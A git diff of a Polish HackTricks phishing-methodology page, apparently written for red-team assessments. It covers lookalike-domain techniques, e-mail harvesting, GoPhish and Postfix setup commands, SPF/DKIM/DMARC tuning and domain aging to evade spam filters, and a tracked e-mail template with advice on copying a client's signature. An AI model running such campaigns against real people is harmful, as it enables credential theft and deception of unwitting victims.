**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zdobądź wiedzę na temat hakerskich ataków na AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,52 +1,53 @@
|
|||
# Metodologia Phishing
|
||||
# Metodologia Phishingu
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Metodologia
|
||||
|
||||
1. Zbieranie informacji o ofierze
|
||||
1. Rozpoznanie ofiary
|
||||
1. Wybierz **domenę ofiary**.
|
||||
2. Przeprowadź podstawową enumerację sieci w poszukiwaniu **portali logowania** używanych przez ofiarę i **zdecyduj**, który będziesz **podrabiał**.
|
||||
3. Wykorzystaj **OSINT**, aby **znaleźć adresy e-mail**.
|
||||
2. Przygotuj środowisko
|
||||
1. **Kup domenę**, którą będziesz używać do oceny phishingowej
|
||||
2. **Skonfiguruj usługę e-mail** związane z rekordami (SPF, DMARC, DKIM, rDNS)
|
||||
3. Skonfiguruj VPS z **gophish**
|
||||
3. Przygotuj kampanię
|
||||
1. Przygotuj **szablon e-maila**
|
||||
2. Przygotuj **stronę internetową** do kradzieży danych uwierzytelniających
|
||||
2. Wykonaj podstawową enumerację sieciową **szukając portali logowania** używanych przez ofiarę i **zdecyduj**, który z nich będziesz **podrabiać**.
|
||||
3. Użyj **OSINT**, aby **znaleźć e-maile**.
|
||||
2. Przygotowanie środowiska
|
||||
1. **Kup domenę**, której zamierzasz użyć do oceny phishingowej.
|
||||
2. **Skonfiguruj usługi e-mailowe** związane z rekordami (SPF, DMARC, DKIM, rDNS).
|
||||
3. Skonfiguruj VPS z **gophish**.
|
||||
3. Przygotowanie kampanii
|
||||
1. Przygotuj **szablon e-maila**.
|
||||
2. Przygotuj **stronę internetową** do kradzieży danych logowania.
|
||||
4. Uruchom kampanię!
|
||||
|
||||
## Generowanie podobnych nazw domenowych lub zakup zaufanej domeny
|
||||
## Generowanie podobnych nazw domen lub zakup zaufanej domeny
|
||||
|
||||
### Techniki Wariacji Nazw Domenowych
|
||||
### Techniki wariacji nazw domen
|
||||
|
||||
* **Słowo kluczowe**: Nazwa domeny **zawiera ważne** **słowo kluczowe** oryginalnej domeny (np. zelster.com-management.com).
|
||||
* **Poddomena z myślnikiem**: Zmień **kropkę na myślnik** poddomeny (np. www-zelster.com).
|
||||
* **Nowe TLD**: Ta sama domena używająca **nowego TLD** (np. zelster.org)
|
||||
* **Homoglify**: Zastępuje literę w nazwie domeny literami, które **wyglądają podobnie** (np. zelfser.com).
|
||||
* **Transpozycja:** Zamienia **miejscami dwie litery** w nazwie domeny (np. zelsetr.com).
|
||||
* **Forma pojedyncza/liczba mnoga**: Dodaje lub usuwa „s” na końcu nazwy domeny (np. zeltsers.com).
|
||||
* **Pominięcie**: Usuwa jedną z liter z nazwy domeny (np. zelser.com).
|
||||
* **Powtórzenie**: Powtarza jedną z liter w nazwie domeny (np. zeltsser.com).
|
||||
* **Zamiana**: Podobne do homoglify, ale mniej skryte. Zastępuje jedną z liter w nazwie domeny, być może literą w sąsiedztwie oryginalnej litery na klawiaturze (np. zektser.com).
|
||||
* **Poddomenowane**: Wprowadza **kropkę** w nazwie domeny (np. ze.lster.com).
|
||||
* **Wstawienie**: Wstawia literę do nazwy domeny (np. zerltser.com).
|
||||
* **Brak kropki**: Dołącza TLD do nazwy domeny. (np. zelstercom.com)
|
||||
* **Słowo kluczowe**: Nazwa domeny **zawiera** ważne **słowo kluczowe** oryginalnej domeny (np. zelster.com-management.com).
|
||||
* **poddomena z myślnikiem**: Zmień **kropkę na myślnik** w poddomenie (np. www-zelster.com).
|
||||
* **Nowe TLD**: Ta sama domena używająca **nowego TLD** (np. zelster.org).
|
||||
* **Homoglif**: **Zastępuje** literę w nazwie domeny **literami, które wyglądają podobnie** (np. zelfser.com).
|
||||
* **Transpozycja:** **Zamienia dwie litery** w nazwie domeny (np. zelsetr.com).
|
||||
* **Singularizacja/Pluralizacja**: Dodaje lub usuwa „s” na końcu nazwy domeny (np. zeltsers.com).
|
||||
* **Ominięcie**: **Usuwa jedną** z liter z nazwy domeny (np. zelser.com).
|
||||
* **Powtórzenie:** **Powtarza jedną** z liter w nazwie domeny (np. zeltsser.com).
|
||||
* **Zamiana**: Jak homoglif, ale mniej dyskretny. Zastępuje jedną z liter w nazwie domeny, być może literą bliską oryginalnej literze na klawiaturze (np. zektser.com).
|
||||
* **Poddomenowanie**: Wprowadza **kropkę** wewnątrz nazwy domeny (np. ze.lster.com).
|
||||
* **Wstawienie**: **Wstawia literę** do nazwy domeny (np. zerltser.com).
|
||||
* **Brakująca kropka**: Dołącz TLD do nazwy domeny. (np. zelstercom.com)
|
||||
|
||||
**Automatyczne Narzędzia**
|
||||
**Narzędzia automatyczne**
|
||||
|
||||
* [**dnstwist**](https://github.com/elceef/dnstwist)
|
||||
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
||||
|
@ -59,25 +60,25 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
### Bitflipping
|
||||
|
||||
Istnieje **możliwość, że jeden z niektórych bitów przechowywanych lub przesyłanych może zostać automatycznie odwrócony** z powodu różnych czynników, takich jak rozbłyski słoneczne, promieniowanie kosmiczne lub błędy sprzętowe.
|
||||
Istnieje **możliwość, że jeden z bitów przechowywanych lub w komunikacji może zostać automatycznie odwrócony** z powodu różnych czynników, takich jak burze słoneczne, promieniowanie kosmiczne lub błędy sprzętowe.
|
||||
|
||||
Gdy ten koncept jest **stosowany do żądań DNS**, możliwe jest, że **domena otrzymana przez serwer DNS** nie jest taka sama jak domena początkowo żądana.
|
||||
Gdy ten koncept jest **stosowany do zapytań DNS**, możliwe jest, że **domena odebrana przez serwer DNS** nie jest taka sama jak domena pierwotnie żądana.
|
||||
|
||||
Na przykład pojedyncza modyfikacja bitu w domenie "windows.com" może zmienić ją na "windnws.com."
|
||||
Na przykład, pojedyncza modyfikacja bitu w domenie "windows.com" może zmienić ją na "windnws.com."
|
||||
|
||||
Atakujący mogą **skorzystać z tego, rejestrując wiele domen z odwróconymi bitami**, które są podobne do domeny ofiary. Ich intencją jest przekierowanie legalnych użytkowników do swojej własnej infrastruktury.
|
||||
Napastnicy mogą **wykorzystać to, rejestrując wiele domen z odwróconymi bitami**, które są podobne do domeny ofiary. Ich intencją jest przekierowanie legalnych użytkowników do własnej infrastruktury.
|
||||
|
||||
Aby uzyskać więcej informacji, przeczytaj [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
### Zakup zaufanej domeny
|
||||
### Kup zaufaną domenę
|
||||
|
||||
Możesz szukać na [https://www.expireddomains.net/](https://www.expireddomains.net) po wygasłej domenie, którą możesz wykorzystać.\
|
||||
Aby upewnić się, że wygasła domena, którą zamierzasz kupić **ma już dobrą SEO**, możesz sprawdzić, jak jest sklasyfikowana w:
|
||||
Możesz poszukać na [https://www.expireddomains.net/](https://www.expireddomains.net) wygasłej domeny, której możesz użyć.\
|
||||
Aby upewnić się, że wygasła domena, którą zamierzasz kupić **ma już dobrą SEO**, możesz sprawdzić, jak jest klasyfikowana w:
|
||||
|
||||
* [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
|
||||
* [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
|
||||
|
||||
## Odkrywanie Adresów E-mail
|
||||
## Odkrywanie e-maili
|
||||
|
||||
* [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% darmowe)
|
||||
* [https://phonebook.cz/](https://phonebook.cz) (100% darmowe)
|
||||
|
@ -85,8 +86,8 @@ Aby upewnić się, że wygasła domena, którą zamierzasz kupić **ma już dobr
|
|||
* [https://hunter.io/](https://hunter.io)
|
||||
* [https://anymailfinder.com/](https://anymailfinder.com)
|
||||
|
||||
Aby **odkryć więcej** prawidłowych adresów e-mail lub **zweryfikować te**, które już odkryłeś, możesz sprawdzić, czy możesz przeprowadzić atak siłowy na serwery smtp ofiary. [Dowiedz się, jak zweryfikować/odkryć adres e-mail tutaj](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
|
||||
Ponadto, nie zapomnij, że jeśli użytkownicy korzystają z **jakiegokolwiek portalu internetowego do dostępu do swoich maili**, możesz sprawdzić, czy jest podatny na **siłowe łamanie nazwy użytkownika**, i wykorzystać tę lukę, jeśli to możliwe.
|
||||
Aby **odkryć więcej** ważnych adresów e-mail lub **zweryfikować te, które** już odkryłeś, możesz sprawdzić, czy możesz przeprowadzić brute-force na serwerach smtp ofiary. [Dowiedz się, jak zweryfikować/odkryć adres e-mail tutaj](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
|
||||
Ponadto nie zapomnij, że jeśli użytkownicy korzystają z **jakiegokolwiek portalu internetowego do dostępu do swoich e-maili**, możesz sprawdzić, czy jest on podatny na **brute force nazwy użytkownika** i wykorzystać tę podatność, jeśli to możliwe.
|
||||
|
||||
## Konfigurowanie GoPhish
|
||||
|
||||
|
@ -95,7 +96,7 @@ Ponadto, nie zapomnij, że jeśli użytkownicy korzystają z **jakiegokolwiek po
|
|||
Możesz pobrać go z [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
|
||||
|
||||
Pobierz i rozpakuj go w `/opt/gophish` i uruchom `/opt/gophish/gophish`\
|
||||
Otrzymasz hasło dla użytkownika admina na porcie 3333 w wynikach. Następnie uzyskaj dostęp do tego portu i użyj tych danych uwierzytelniających, aby zmienić hasło admina. Możesz potrzebować tunelowania tego portu do lokalnego:
|
||||
Otrzymasz hasło dla użytkownika admin na porcie 3333 w wyjściu. Dlatego uzyskaj dostęp do tego portu i użyj tych danych logowania, aby zmienić hasło administratora. Może być konieczne tunelowanie tego portu do lokalnego:
|
||||
```bash
|
||||
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
```
|
||||
|
@ -103,7 +104,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
|||
|
||||
**Konfiguracja certyfikatu TLS**
|
||||
|
||||
Przed tym krokiem powinieneś **już zakupić domenę**, którą zamierzasz użyć, a musi ona być **skierowana** na **IP VPS**, gdzie konfigurujesz **gophish**.
|
||||
Przed tym krokiem powinieneś **już kupić domenę**, której zamierzasz użyć, i musi ona **wskazywać** na **IP VPS**, na którym konfigurujesz **gophish**.
|
||||
```bash
|
||||
DOMAIN="<domain>"
|
||||
wget https://dl.eff.org/certbot-auto
|
||||
|
@ -121,7 +122,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
|
|||
```
|
||||
**Konfiguracja poczty**
|
||||
|
||||
Rozpocznij instalację: `apt-get install postfix`
|
||||
Zacznij instalację: `apt-get install postfix`
|
||||
|
||||
Następnie dodaj domenę do następujących plików:
|
||||
|
||||
|
@ -129,24 +130,24 @@ Następnie dodaj domenę do następujących plików:
|
|||
* **/etc/postfix/transport**
|
||||
* **/etc/postfix/virtual\_regexp**
|
||||
|
||||
**Zmień również wartości następujących zmiennych wewnątrz /etc/postfix/main.cf**
|
||||
**Zmień również wartości następujących zmiennych w /etc/postfix/main.cf**
|
||||
|
||||
`myhostname = <domain>`\
|
||||
`mydestination = $myhostname, <domain>, localhost.com, localhost`
|
||||
`myhostname = <domena>`\
|
||||
`mydestination = $myhostname, <domena>, localhost.com, localhost`
|
||||
|
||||
Na koniec zmodyfikuj pliki **`/etc/hostname`** i **`/etc/mailname`** na nazwę swojej domeny i **zrestartuj swój VPS.**
|
||||
Na koniec zmodyfikuj pliki **`/etc/hostname`** i **`/etc/mailname`** na swoją nazwę domeny i **zrestartuj swój VPS.**
|
||||
|
||||
Teraz utwórz **rekord A DNS** `mail.<domain>` wskazujący na **adres IP** VPS oraz **rekord MX DNS** wskazujący na `mail.<domain>`
|
||||
Teraz stwórz **rekord A DNS** dla `mail.<domena>` wskazujący na **adres IP** VPS oraz **rekord MX DNS** wskazujący na `mail.<domena>`
|
||||
|
||||
Teraz przetestuj wysłanie e-maila:
|
||||
Teraz przetestujmy wysyłanie e-maila:
|
||||
```bash
|
||||
apt install mailutils
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
|
||||
```
|
||||
**Konfiguracja Gophish**
|
||||
|
||||
Zatrzymaj wykonanie gophish i przejdź do konfiguracji.\
|
||||
Zmodyfikuj `/opt/gophish/config.json` do następującego (zwróć uwagę na użycie https):
|
||||
Zatrzymaj wykonywanie gophish i skonfigurujmy go.\
|
||||
Zmień `/opt/gophish/config.json` na następujący (zwróć uwagę na użycie https):
|
||||
```bash
|
||||
{
|
||||
"admin_server": {
|
||||
|
@ -173,7 +174,7 @@ Zmodyfikuj `/opt/gophish/config.json` do następującego (zwróć uwagę na uży
|
|||
```
|
||||
**Skonfiguruj usługę gophish**
|
||||
|
||||
Aby utworzyć usługę gophish, która może być uruchamiana automatycznie i zarządzana jako usługa, możesz utworzyć plik `/etc/init.d/gophish` z następującą zawartością:
|
||||
Aby utworzyć usługę gophish, aby mogła być uruchamiana automatycznie i zarządzana jako usługa, możesz utworzyć plik `/etc/init.d/gophish` z następującą zawartością:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# /etc/init.d/gophish
|
||||
|
@ -220,7 +221,7 @@ case $1 in
|
|||
start|stop|status) "$1" ;;
|
||||
esac
|
||||
```
|
||||
Zakończ konfigurowanie usługi i sprawdź ją wykonując:
|
||||
Zakończ konfigurowanie usługi i sprawdź to, wykonując:
|
||||
```bash
|
||||
mkdir /var/log/gophish
|
||||
chmod +x /etc/init.d/gophish
|
||||
|
@ -231,43 +232,43 @@ service gophish status
|
|||
ss -l | grep "3333\|443"
|
||||
service gophish stop
|
||||
```
|
||||
## Konfigurowanie serwera poczty i domeny
|
||||
## Konfigurowanie serwera pocztowego i domeny
|
||||
|
||||
### Poczekaj i bądź legalny
|
||||
### Czekaj i bądź legitny
|
||||
|
||||
Im starsza jest domena, tym mniej prawdopodobne jest, że zostanie uznana za spam. Dlatego powinieneś poczekać tak długo, jak to możliwe (przynajmniej 1 tydzień) przed przeprowadzeniem ataku phishingowego. Ponadto, jeśli umieścisz stronę dotyczącą sektora o dobrej reputacji, uzyskana reputacja będzie lepsza.
|
||||
Im starsza domena, tym mniej prawdopodobne, że zostanie uznana za spam. Dlatego powinieneś czekać jak najdłużej (przynajmniej 1 tydzień) przed oceną phishingu. Co więcej, jeśli umieścisz stronę o reputacyjnym sektorze, uzyskana reputacja będzie lepsza.
|
||||
|
||||
Zauważ, że nawet jeśli musisz poczekać tydzień, możesz teraz zakończyć konfigurowanie wszystkiego.
|
||||
Zauważ, że nawet jeśli musisz czekać tydzień, możesz teraz zakończyć konfigurowanie wszystkiego.
|
||||
|
||||
### Skonfiguruj rekord odwrotnego DNS (rDNS)
|
||||
|
||||
Ustaw rekord rDNS (PTR), który rozwiąże adres IP VPS na nazwę domeny.
|
||||
Ustaw rekord rDNS (PTR), który rozwiązuje adres IP VPS na nazwę domeny.
|
||||
|
||||
### Rekord ramki polityki nadawcy (SPF)
|
||||
### Rekord Sender Policy Framework (SPF)
|
||||
|
||||
Musisz **skonfigurować rekord SPF dla nowej domeny**. Jeśli nie wiesz, co to jest rekord SPF, [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/#spf).
|
||||
Musisz **skonfigurować rekord SPF dla nowej domeny**. Jeśli nie wiesz, czym jest rekord SPF, [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/#spf).
|
||||
|
||||
Możesz skorzystać z [https://www.spfwizard.net/](https://www.spfwizard.net), aby wygenerować swoją politykę SPF (użyj adresu IP maszyny VPS)
|
||||
Możesz użyć [https://www.spfwizard.net/](https://www.spfwizard.net), aby wygenerować swoją politykę SPF (użyj adresu IP maszyny VPS)
|
||||
|
||||
![](<../../.gitbook/assets/image (1037).png>)
|
||||
|
||||
To jest treść, która musi zostać ustawiona w rekordzie TXT w domenie:
|
||||
To jest zawartość, która musi być ustawiona w rekordzie TXT w domenie:
|
||||
```bash
|
||||
v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
||||
```
|
||||
### Rekord Domain-based Message Authentication, Reporting & Conformance (DMARC)
|
||||
### Rekord uwierzytelniania wiadomości oparty na domenie, raportowania i zgodności (DMARC)
|
||||
|
||||
Musisz **skonfigurować rekord DMARC dla nowej domeny**. Jeśli nie wiesz, co to jest rekord DMARC, [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/#dmarc).
|
||||
Musisz **skonfigurować rekord DMARC dla nowej domeny**. Jeśli nie wiesz, czym jest rekord DMARC [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/#dmarc).
|
||||
|
||||
Musisz utworzyć nowy rekord DNS TXT wskazujący na nazwę hosta `_dmarc.<domena>` z następującą zawartością:
|
||||
Musisz utworzyć nowy rekord DNS TXT wskazujący na nazwę hosta `_dmarc.<domain>` z następującą treścią:
|
||||
```bash
|
||||
v=DMARC1; p=none
|
||||
```
|
||||
### DomainKeys Identified Mail (DKIM)
|
||||
|
||||
Musisz **skonfigurować DKIM dla nowej domeny**. Jeśli nie wiesz, co to jest rekord DMARC, [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/#dkim).
|
||||
Musisz **skonfigurować DKIM dla nowej domeny**. Jeśli nie wiesz, co to jest rekord DMARC [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/#dkim).
|
||||
|
||||
Ten samouczek opiera się na: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
Ten samouczek oparty jest na: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
|
||||
{% hint style="info" %}
|
||||
Musisz połączyć oba wartości B64, które generuje klucz DKIM:
|
||||
|
@ -276,15 +277,15 @@ v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqP
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
### Sprawdź wynik konfiguracji e-mail
|
||||
### Przetestuj swój wynik konfiguracji e-mail
|
||||
|
||||
Możesz to zrobić za pomocą [https://www.mail-tester.com/](https://www.mail-tester.com)\
|
||||
Po prostu przejdź do strony i wyślij e-mail na podany adres:
|
||||
Możesz to zrobić, korzystając z [https://www.mail-tester.com/](https://www.mail-tester.com)\
|
||||
Po prostu wejdź na stronę i wyślij e-mail na adres, który ci podają:
|
||||
```bash
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
||||
```
|
||||
Możesz również **sprawdzić konfigurację swojej poczty e-mail**, wysyłając e-mail na adres `check-auth@verifier.port25.com` i **odczytując odpowiedź** (aby to zrobić, będziesz musiał **otworzyć** port **25** i sprawdzić odpowiedź w pliku _/var/mail/root_, jeśli wysyłasz e-mail jako root).\
|
||||
Sprawdź, czy przechodzisz wszystkie testy:
|
||||
Możesz również **sprawdzić swoją konfigurację e-mail** wysyłając e-mail do `check-auth@verifier.port25.com` i **czytając odpowiedź** (w tym celu musisz **otworzyć** port **25** i zobaczyć odpowiedź w pliku _/var/mail/root_ jeśli wysyłasz e-mail jako root).\
|
||||
Sprawdź, czy przeszedłeś wszystkie testy:
|
||||
```bash
|
||||
==========================================================
|
||||
Summary of Results
|
||||
|
@ -295,41 +296,41 @@ DKIM check: pass
|
|||
Sender-ID check: pass
|
||||
SpamAssassin check: ham
|
||||
```
|
||||
Możesz również wysłać **wiadomość do Gmaila pod kontrolą**, a następnie sprawdzić **nagłówki e-maila** w swojej skrzynce odbiorczej Gmaila, `dkim=pass` powinno być obecne w polu nagłówka `Authentication-Results`.
|
||||
Możesz również wysłać **wiadomość do Gmaila pod swoją kontrolą** i sprawdzić **nagłówki e-maila** w swojej skrzynce odbiorczej Gmail, `dkim=pass` powinno być obecne w polu nagłówka `Authentication-Results`.
|
||||
```
|
||||
Authentication-Results: mx.google.com;
|
||||
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
|
||||
dkim=pass header.i=@example.com;
|
||||
```
|
||||
### Usuwanie z listy Spamhouse Blacklist
|
||||
### Usuwanie z czarnej listy Spamhouse
|
||||
|
||||
Strona [www.mail-tester.com](https://www.mail-tester.com) może wskazać, czy Twoja domena jest zablokowana przez spamhouse. Możesz poprosić o usunięcie swojej domeny/IP pod adresem: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
Strona [www.mail-tester.com](https://www.mail-tester.com) może wskazać, czy Twoja domena jest blokowana przez spamhouse. Możesz poprosić o usunięcie swojej domeny/IP pod adresem: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
|
||||
### Usuwanie z listy czarnej Microsoftu
|
||||
### Usuwanie z czarnej listy Microsoft
|
||||
|
||||
Możesz poprosić o usunięcie swojej domeny/IP pod adresem [https://sender.office.com/](https://sender.office.com).
|
||||
Możesz poprosić o usunięcie swojej domeny/IP pod adresem [https://sender.office.com/](https://sender.office.com).
|
||||
|
||||
## Tworzenie i Uruchamianie Kampanii GoPhish
|
||||
## Utwórz i uruchom kampanię GoPhish
|
||||
|
||||
### Profil Wysyłającego
|
||||
### Profil wysyłania
|
||||
|
||||
* Ustaw **nazwę identyfikującą** profil nadawcy
|
||||
* Zdecyduj, z którego konta będziesz wysyłać e-maile phishingowe. Sugestie: _noreply, support, servicedesk, salesforce..._
|
||||
* Możesz pozostawić puste pole nazwy użytkownika i hasła, ale upewnij się, że zaznaczysz opcję Ignoruj Błędy Certyfikatu
|
||||
* Możesz pozostawić puste nazwę użytkownika i hasło, ale upewnij się, że zaznaczyłeś Ignoruj błędy certyfikatu
|
||||
|
||||
![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Zaleca się skorzystanie z funkcji "**Wyślij E-mail Testowy**" w celu sprawdzenia, czy wszystko działa poprawnie.\
|
||||
Zalecam **wysłanie testowych e-maili na adresy 10minutkowe** w celu uniknięcia wpadnięcia na czarną listę podczas testów.
|
||||
Zaleca się korzystanie z funkcji "**Wyślij e-mail testowy**", aby sprawdzić, czy wszystko działa.\
|
||||
Zalecałbym **wysyłanie e-maili testowych na adresy 10min mail**, aby uniknąć dodania do czarnej listy podczas testów.
|
||||
{% endhint %}
|
||||
|
||||
### Szablon E-maila
|
||||
### Szablon e-mail
|
||||
|
||||
* Ustaw **nazwę identyfikującą** szablonu
|
||||
* Następnie napisz **temat** (nic dziwnego, po prostu coś, czego można by się spodziewać w zwykłym e-mailu)
|
||||
* Upewnij się, że zaznaczyłeś "**Dodaj Obraz Śledzenia**"
|
||||
* Napisz **szablon e-maila** (możesz używać zmiennych, jak w poniższym przykładzie):
|
||||
* Ustaw **nazwę identyfikującą** szablon
|
||||
* Następnie napisz **temat** (nic dziwnego, po prostu coś, co mógłbyś oczekiwać w zwykłym e-mailu)
|
||||
* Upewnij się, że zaznaczyłeś "**Dodaj obrazek śledzący**"
|
||||
* Napisz **szablon e-mail** (możesz używać zmiennych, jak w poniższym przykładzie):
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
|
@ -348,58 +349,58 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
Zauważ, że **dla zwiększenia wiarygodności e-maila** zaleca się użycie jakiegoś podpisu z e-maila klienta. Sugestie:
|
||||
Note that **w celu zwiększenia wiarygodności e-maila**, zaleca się użycie jakiegoś podpisu z e-maila od klienta. Sugestie:
|
||||
|
||||
* Wyślij e-mail na **nieistniejący adres** i sprawdź, czy odpowiedź zawiera jakiś podpis.
|
||||
* Szukaj **publicznych adresów e-mail** takich jak info@ex.com lub press@ex.com lub public@ex.com i wyślij im e-mail, oczekując na odpowiedź.
|
||||
* Spróbuj skontaktować się z **jakimś odkrytym ważnym** adresem e-mail i poczekaj na odpowiedź
|
||||
* Wyślij e-mail na **nieistniejący adres** i sprawdź, czy odpowiedź ma jakiś podpis.
|
||||
